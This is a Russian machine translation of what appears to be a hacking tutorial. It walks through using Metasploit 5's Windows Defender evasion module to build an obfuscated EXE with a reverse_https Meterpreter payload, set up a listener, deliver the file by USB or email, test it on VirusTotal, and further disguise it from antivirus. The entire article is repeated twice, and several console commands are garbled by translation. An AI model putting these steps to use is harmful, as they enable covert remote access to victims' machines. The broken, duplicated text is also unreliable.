Добро пожаловать обратно, мои начинающие кибервоины!
С выпуском Metasploit 5 одним из наиболее заметных изменений стало добавление нового типа модулей — модулей уклонения. Эти новые модули предназначены для создания полезных нагрузок, способных обходить антивирусное ПО (AV) на целевой системе.
Много лет назад специалисты по проникновению и другие хакеры использовали комбинацию msfpayload и msfencode (оба были устарели в пользу msfvenom ) для создания модулей полезной нагрузки, способных обходить антивирусное ПО. Как и всё в шахматной партии кибербезопасности, разработчики антивируса нашли способы обнаруживать эти полезные нагрузки, несмотря на лучшие стратегии команды Metasploit. Помните, антивирусное ПО — это уже не просто попытка сканирования сигнатур.
Новые модули уклонения в Metasploit 5 возвращают возможности уклонения от атак, утраченные Metasploit за последние несколько лет. Как и всё остальное, способность этих модулей скрываться от атак, вероятно, будет недолговечной, поэтому крайне важно изучить и использовать их, пока они ещё эффективны.
Шаг №1: Запустите Metasploit 5
Первый шаг — запустить Metasploit. Если у вас уже установлен Kali 2019, то он у вас уже есть. Если нет, установите его, следуя инструкциям здесь.
kali > msfconsole
Обратите внимание на два новых модуля уклонения, перечисленных на заставке, и на новую подсказку msf 5>.
Шаг №2 : Откройте модуль обхода Защитника Windows
Прежде чем начать использовать эти модули, давайте взглянем на код модуля. Его можно открыть в любом текстовом редакторе, например, Leafpad.
kali > leafpad /usr/share/metasploit-framework/modules/evasion/windows/windows_defender_exe
Это модуль обхода Защитника Windows.
Обратите внимание, в описании говорится:
Этот модуль позволяет создать EXE-файл Windows , обходящий защиту Защитника Windows . Для этого используются различные методы , такие как шифрование шелл -кода , обфускация исходного кода , Metasm и антиэмуляция .
Если внимательно просмотреть эту страницу, то можно увидеть, что при определении полезной нагрузки для шифрования используется алгоритм RC4 (RC4 — это потоковый шифр, разработанный звездой алгоритмов шифрования Роном Ривестом). Также обратите внимание, что закодированная полезная нагрузка теперь содержит некоторый «мусор», чтобы ещё больше скрыть её смысл (p = payload.encoded + junk). Это позволяет шелл-коду обходить статическое сканирование сигнатур.
В нижней части этой страницы вы можете увидеть, что этот модуль уклонения также использует рандомизацию кода, чтобы еще больше скрыть свои намерения и обойти простое статическое сканирование сигнатур.
Теперь, когда у нас есть базовое понимание того, как работают эти модули, давайте попробуем их использовать.
Шаг №3 : Загрузите модуль уклонения
Мы можем найти два модуля уклонения, введя:
msf 5 > тип поиска :уклонение
Как видите, модулей уклонения всего два. Надеюсь, позже мы увидим больше.
Давайте загрузим windows_defender_exe
msf5 > используйте evasion/windows/windows_defender_exe
Прежде чем использовать модуль, который я никогда раньше не использовал, я всегда изучаю информационный файл, чтобы получить некоторое представление о том, что он из себя представляет и что делает.
msf5 > информация
Обратите внимание, что единственный требуемый параметр — это имя файла со встроенной маскирующей полезной нагрузкой. Если мы его не укажем, вредонос сгенерирует случайное имя. В нашем случае мы создадим
ИМЯ ФАЙЛА hackers_arise_malware . С таким именем никто ничего не заподозрит!
msf > set FILENAME hackers_arise_malware
Шаг №4: Добавьте полезную нагрузку и создайте exe -файл
Давайте теперь выберем полезную нагрузку. Как указано в информационном файле, «попробуйте использовать полезную нагрузку… например, HTTPS…»
По этой причине давайте воспользуемся полезной нагрузкой meterpreter с обратным https.
msf 5 > set PAYLOAD windows/meterpreter/reverse_https
Далее нам необходимо настроить LHOST или локальный хост.
msf5 > установить LHOST 192.168.1.112
Прежде чем запустить эксплойт, давайте проверим, все ли параметры установлены.
msf 5 > показать параметры
Теперь, когда все наши параметры настроены, нам осталось только запустить эксплойт.
msf5 > эксплойт
Как вы можете видеть, наш модуль уклонения создал файл с именем «hackers-arise_malware» и поместил его в каталог /root/.msf4/local/hackers-arise_malware .
Шаг №5 : Запуск обработчика
Чтобы полезная нагрузка могла подключиться обратно к нашей системе, нам необходимо открыть прослушиватель или обработчик для обратного подключения.
msf5> использовать эксплойт/мульти/обработчик
msf5> установить LHOST 192.168.1.112
msf5> установить LPORT 8443
Шаг №6. Выполнение полезной нагрузки в Windows 10
Теперь, когда всё готово, нам осталось только загрузить файл в систему Windows 10. Как видно ниже, вредоносная программа находится в каталоге /root/.msf4/local.
Чтобы загрузить его в систему Windows 10, мы можем записать его на флэш-накопитель или отправить по электронной почте.
К сожалению, когда мы это делаем, Windows 10 немедленно удаляет его. Похоже, за прошедшие месяцы (этот модуль был выпущен в октябре 2019 года) с момента выпуска модулей обхода безопасности Microsoft разработала схему его обнаружения.
По крайней мере один аналитик определил, что отслеживает способы, с помощью которых Microsoft Defender обнаруживает эту новую полезную нагрузку, находя следующие общие артефакты:
Шаг №7. Отправка на VirusTotal
Хотя Защитник Windows обнаруживает это новое вредоносное ПО, давайте посмотрим, смогут ли другие антивирусные программы обнаружить его. Это можно сделать с помощью virustotal.com или scanii.com. Давайте отправим данные на virustotal.com и посмотрим, смогут ли другие антивирусные программы обнаружить наше вредоносное ПО.
Как видно выше, хотя многие антивирусы распознали нашу вредоносную нагрузку как вредоносную, многие, включая такие известные компании, как Malwarebytes и TrendMicro, этого не сделали. Это подчёркивает различия между антивирусами и необходимость знать антивирусное ПО цели.
Заключение
Нужно отдать должное команде Metasploit за их усилия по разработке модулей обхода, позволяющих защитить полезные нагрузки Metasploit от обнаружения антивирусами. К сожалению, столь широко разрекламированная инициатива, несомненно, привлекла внимание разработчиков антивируса, и как только кто-то отправил этот образец в Microsoft, они решили пресечь эту затею, что и сделали. К счастью, это ещё не конец.
Помните, что этот модуль использует RC4 и «мусор» для сокрытия природы и личности полезной нагрузки. Мы могли бы попробовать изменить шифрование и добавить «мусор», чтобы скрыть природу и сигнатуру полезной нагрузки от Microsoft и других разработчиков антивирусных программ. Кроме того, я рекомендую использовать инструмент OWASP-ZSC для сокрытия полезной нагрузки, который включает в себя несколько вариантов сокрытия природы полезной нагрузки и обхода антивирусных программ.
С выпуском Metasploit 5 одним из наиболее заметных изменений стало добавление нового типа модулей — модулей уклонения. Эти новые модули предназначены для создания полезных нагрузок, способных обходить антивирусное ПО (AV) на целевой системе.
Много лет назад специалисты по проникновению и другие хакеры использовали комбинацию msfpayload и msfencode (оба были устарели в пользу msfvenom ) для создания модулей полезной нагрузки, способных обходить антивирусное ПО. Как и всё в шахматной партии кибербезопасности, разработчики антивируса нашли способы обнаруживать эти полезные нагрузки, несмотря на лучшие стратегии команды Metasploit. Помните, антивирусное ПО — это уже не просто попытка сканирования сигнатур.
Новые модули уклонения в Metasploit 5 возвращают возможности уклонения от атак, утраченные Metasploit за последние несколько лет. Как и всё остальное, способность этих модулей скрываться от атак, вероятно, будет недолговечной, поэтому крайне важно изучить и использовать их, пока они ещё эффективны.
Шаг №1: Запустите Metasploit 5
Первый шаг — запустить Metasploit. Если у вас уже установлен Kali 2019, то он у вас уже есть. Если нет, установите его, следуя инструкциям здесь.
kali > msfconsole
Обратите внимание на два новых модуля уклонения, перечисленных на заставке, и на новую подсказку msf 5>.
Шаг №2 : Откройте модуль обхода Защитника Windows
Прежде чем начать использовать эти модули, давайте взглянем на код модуля. Его можно открыть в любом текстовом редакторе, например, Leafpad.
kali > leafpad /usr/share/metasploit-framework/modules/evasion/windows/windows_defender_exe
Это модуль обхода Защитника Windows.
Обратите внимание, в описании говорится:
Этот модуль позволяет создать EXE-файл Windows , обходящий защиту Защитника Windows . Для этого используются различные методы , такие как шифрование шелл -кода , обфускация исходного кода , Metasm и антиэмуляция .
Если внимательно просмотреть эту страницу, то можно увидеть, что при определении полезной нагрузки для шифрования используется алгоритм RC4 (RC4 — это потоковый шифр, разработанный звездой алгоритмов шифрования Роном Ривестом). Также обратите внимание, что закодированная полезная нагрузка теперь содержит некоторый «мусор», чтобы ещё больше скрыть её смысл (p = payload.encoded + junk). Это позволяет шелл-коду обходить статическое сканирование сигнатур.
В нижней части этой страницы вы можете увидеть, что этот модуль уклонения также использует рандомизацию кода, чтобы еще больше скрыть свои намерения и обойти простое статическое сканирование сигнатур.
Теперь, когда у нас есть базовое понимание того, как работают эти модули, давайте попробуем их использовать.
Шаг №3 : Загрузите модуль уклонения
Мы можем найти два модуля уклонения, введя:
msf 5 > тип поиска :уклонение
Как видите, модулей уклонения всего два. Надеюсь, позже мы увидим больше.
Давайте загрузим windows_defender_exe
msf5 > используйте evasion/windows/windows_defender_exe
Прежде чем использовать модуль, который я никогда раньше не использовал, я всегда изучаю информационный файл, чтобы получить некоторое представление о том, что он из себя представляет и что делает.
msf5 > информация
Обратите внимание, что единственный требуемый параметр — это имя файла со встроенной маскирующей полезной нагрузкой. Если мы его не укажем, вредонос сгенерирует случайное имя. В нашем случае мы создадим
ИМЯ ФАЙЛА hackers_arise_malware . С таким именем никто ничего не заподозрит!
msf > set FILENAME hackers_arise_malware
Шаг №4: Добавьте полезную нагрузку и создайте exe -файл
Давайте теперь выберем полезную нагрузку. Как указано в информационном файле, «попробуйте использовать полезную нагрузку… например, HTTPS…»
По этой причине давайте воспользуемся полезной нагрузкой meterpreter с обратным https.
msf 5 > set PAYLOAD windows/meterpreter/reverse_https
Далее нам необходимо настроить LHOST или локальный хост.
msf5 > установить LHOST 192.168.1.112
Прежде чем запустить эксплойт, давайте проверим, все ли параметры установлены.
msf 5 > показать параметры
Теперь, когда все наши параметры настроены, нам осталось только запустить эксплойт.
msf5 > эксплойт
Как вы можете видеть, наш модуль уклонения создал файл с именем «hackers-arise_malware» и поместил его в каталог /root/.msf4/local/hackers-arise_malware .
Шаг №5 : Запуск обработчика
Чтобы полезная нагрузка могла подключиться обратно к нашей системе, нам необходимо открыть прослушиватель или обработчик для обратного подключения.
msf5> использовать эксплойт/мульти/обработчик
msf5> установить LHOST 192.168.1.112
msf5> установить LPORT 8443
Шаг №6. Выполнение полезной нагрузки в Windows 10
Теперь, когда всё готово, нам осталось только загрузить файл в систему Windows 10. Как видно ниже, вредоносная программа находится в каталоге /root/.msf4/local.
Чтобы загрузить его в систему Windows 10, мы можем записать его на флэш-накопитель или отправить по электронной почте.
К сожалению, когда мы это делаем, Windows 10 немедленно удаляет его. Похоже, за прошедшие месяцы (этот модуль был выпущен в октябре 2019 года) с момента выпуска модулей обхода безопасности Microsoft разработала схему его обнаружения.
По крайней мере один аналитик определил, что отслеживает способы, с помощью которых Microsoft Defender обнаруживает эту новую полезную нагрузку, находя следующие общие артефакты:
- Константы, такие как строки ( «[*] Попытка добавить пользователя %s в группу %s на контроллере домена % s ») => настолько высокий балл , что это почти тест EICAR , хотя WD проверяет , что он принадлежит файлу , который соответствует формату PE .
- Большое целое число ( например, 0x6A4ABC5B в ReflectiveLoader.h, представляющем собой хэш rot13, используемый для поиска API , которые все копировали и вставляли годами );
- Фрагменты жестко закодированного шелл-кода ( каждый в base_inject.c , например x48xC1xE8x20 );
- Экспорт DLL ( например, экспорт « ReflectiveLoader» ищется и WD , и Kaspersky ) .
Шаг №7. Отправка на VirusTotal
Хотя Защитник Windows обнаруживает это новое вредоносное ПО, давайте посмотрим, смогут ли другие антивирусные программы обнаружить его. Это можно сделать с помощью virustotal.com или scanii.com. Давайте отправим данные на virustotal.com и посмотрим, смогут ли другие антивирусные программы обнаружить наше вредоносное ПО.
Как видно выше, хотя многие антивирусы распознали нашу вредоносную нагрузку как вредоносную, многие, включая такие известные компании, как Malwarebytes и TrendMicro, этого не сделали. Это подчёркивает различия между антивирусами и необходимость знать антивирусное ПО цели.
Заключение
Нужно отдать должное команде Metasploit за их усилия по разработке модулей обхода, позволяющих защитить полезные нагрузки Metasploit от обнаружения антивирусами. К сожалению, столь широко разрекламированная инициатива, несомненно, привлекла внимание разработчиков антивируса, и как только кто-то отправил этот образец в Microsoft, они решили пресечь эту затею, что и сделали. К счастью, это ещё не конец.
Помните, что этот модуль использует RC4 и «мусор» для сокрытия природы и личности полезной нагрузки. Мы могли бы попробовать изменить шифрование и добавить «мусор», чтобы скрыть природу и сигнатуру полезной нагрузки от Microsoft и других разработчиков антивирусных программ. Кроме того, я рекомендую использовать инструмент OWASP-ZSC для сокрытия полезной нагрузки, который включает в себя несколько вариантов сокрытия природы полезной нагрузки и обхода антивирусных программ.